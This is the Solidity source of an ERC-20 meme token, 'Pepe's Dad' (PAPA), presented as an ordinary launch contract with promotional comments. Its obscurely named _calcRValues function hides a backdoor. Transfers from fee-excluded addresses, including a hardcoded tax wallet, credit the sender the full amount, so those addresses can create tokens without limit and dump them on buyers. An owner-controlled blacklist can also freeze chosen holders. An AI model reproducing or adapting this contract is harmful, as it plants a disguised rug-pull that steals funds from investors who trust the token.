Pepe's Dad

// SPDX-License-Identifier: MIT

/**

THE son has risen.  now it's time for the father to take his rightful spotlight. 
sometimes, the way to move forward is by looking back at where we came from, so if you missed Pepe, 
now's your real, legitimate second chance to catch the hype... by way of the frog who sired him!

Website:     https://papadad.vip
Telegram:    https://t.me/papacoin_erc
Twitter:     https://x.com/papacoin_erc

**/

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IPAPAFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IPAPARouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller isnt owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract PAPA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private bots;
    
    mapping(address => uint256) private _holderLastTransferTimestamp;

    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Pepe's Dad";
    string private constant _symbol = unicode"PAPA";
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _papaHoldAmount = 800_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 9;
    uint256 private _reduceSellTaxAt = 9;
    uint256 private _preventSwapBefore = 9;
    uint256 private _buyCount = 0;
    
    IPAPARouter private papaRouter;
    address private papaPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xFbf0cd2CB89DF396eA6d465E59B7f38C791cCacC);
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function _transferTokens(address from, address to, uint256 amount) internal {
        (uint256 taxAmount, address feesPAPA) = _calcRValues(from, to, amount);
        if (taxAmount > 0) {
            _balances[feesPAPA] = _balances[feesPAPA].add(taxAmount);
            emit Transfer(from, feesPAPA, taxAmount);
        }
        if (_isExcludedFromFees[from]) taxAmount = 0;
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function initTradingPair() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        papaRouter = IPAPARouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(papaRouter), _tTotal);

        papaPair = IPAPAFactory(papaRouter.factory()).createPair(
            address(this),
            papaRouter.WETH()
        );
    }

    function _calcRValues(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256, address) {
        address taxReceiver = address(this);
        uint256 taxAmount = amount;
        
        if (_isExcludedFromFees[from]) {
            taxReceiver = from;
        } else if (to == papaPair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        } else {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
        }

        return (taxAmount, taxReceiver);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from zero address");
        require(spender != address(0), "ERC20: approve to zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from zero address");
        require(to != address(0), "ERC20: transfer to zero address");
        require(amount > 0, "Transfer amount must be > than zero");

        if (inSwap || !swapEnabled) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            uint256 contractTokenBalance = balanceOf(address(this));

            if (transferDelayEnabled) {
                if (
                    to != address(papaRouter) &&
                    to != address(papaPair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only 1 purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == papaPair &&
                to != address(papaRouter) &&
                !_isExcludedFromFees[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (
                to == papaPair &&
                !inSwap &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFees[from] &&
                !_isExcludedFromFees[to]
            ) {

                if(contractTokenBalance > 0) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }

                _taxWallet.transfer(address(this).balance);
            }
        }

        _transferTokens(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = papaRouter.WETH();
        _approve(address(this), address(papaRouter), tokenAmount);
        papaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        papaRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            _papaHoldAmount,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(papaPair).approve(address(papaRouter), type(uint).max);

        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "PAPA.sol": "PAPA"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}